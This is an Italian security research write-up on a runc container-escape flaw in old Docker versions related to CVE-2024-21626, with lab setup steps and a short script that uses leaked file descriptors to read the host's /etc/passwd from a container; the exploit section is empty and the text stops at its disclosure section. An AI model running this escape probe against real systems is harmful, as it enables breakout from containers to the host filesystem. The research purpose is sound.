Vulnerabilità di escape del container in vecchi componenti runc (CVE-2024-21626)

Durante la mia analisi su CVE-2024-21626 ho scoperto che altri vecchi componenti Docker sono vulnerabili a fd leakage (non menzionato nell'avviso di sicurezza GHSA-xr7r-f8xq-vfvv). Leggi il mio articolo completo per una spiegazione dettagliata qui.

1. Configurazione dell'ambiente 🔨

A. Scaricare e installare Ubuntu 18.04.6 LTS (Bionic Beaver)

Durante l'installazione non selezionare la casella per scaricare gli aggiornamenti di sistema.

B. Installare la versione vulnerabile di Docker e i relativi componenti

• Vai su https://download.docker.com/linux/static/stable/x86_64/ e scarica la vecchia versione docker-X.Y.Z-ce.tgz per testare

• Estrailo, copia il contenuto nel percorso /usr/bin ed esegui il demone Docker.

  root@kitploit:~

  cd Downloads/
  tar xzvf <docker-X.Y.Z-ce.tgz>
  sudo cp docker/* /usr/bin/
  sudo dockerd &
  

C. Verificare le versioni installate

sudo docker version
containerd --version
uname -r

Nelle vecchie versioni abbiamo docker-runc invece di runc. Quindi verificalo:

ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Verifica la versione di doker-runc/runc

runc --version
docker-runc -v

2. Verificare se il target è vulnerabile e trovare il fd giusto 🧐

Esegui checkVulnerability.sh e verifica se il file viene stampato nel terminale

# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done

# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Per questo esempio ho usato la versione docker-17.03.1-ce.

3. Provare l'exploit 🔫

Per questo esempio ho usato la versione docker-17.03.1-ce.

4. Risultati dei test 🧪

Di seguito i risultati della mia analisi, organizzati per versione Docker e la versione runc associata utilizzata.

docker-runc

runc

Ecco lo screenshot che mostra le tre diverse versioni vulnerabili.

1.0.0-rc2	1.0.0-rc3	1.0.0-rc4+dev

Come per CVE-2024-21626, i diversi tipi di attacco sono ancora possibili.

5. Conclusione e insegnamenti 🔚

Questa vulnerabilità è molto diversa da CVE-2024-21626 perché:

1. Può essere attivata in versioni più vecchie di Linux che non hanno la syscall openat2.
2. Il descrittore di file leakato si trova nel percorso /run/runc/<container>/, che contiene lo stato dei container in esecuzione, anziché nella directory /sys/fs/cgroup dell'host.

Quello che ho scoperto è che anche le versioni più vecchie sono vulnerabili alla stessa tecnica di attacco. Sebbene la vulnerabilità stessa sia diversa, il risultato è lo stesso: ottenere accesso al filesystem host. Il punto chiave è non fare affidamento solo sugli advisory di sicurezza: testare tutto a fondo. Capire a fondo la CVE, come funziona, sperimentare in un ambiente sicuro ed esplorare i casi limite.

6. Divulgazione responsabile 🕺🏻

Ho provato a contattare [email protected], [email protected] e ho cercato di aprire un CVE. Ho ricevuto le seguenti risposte: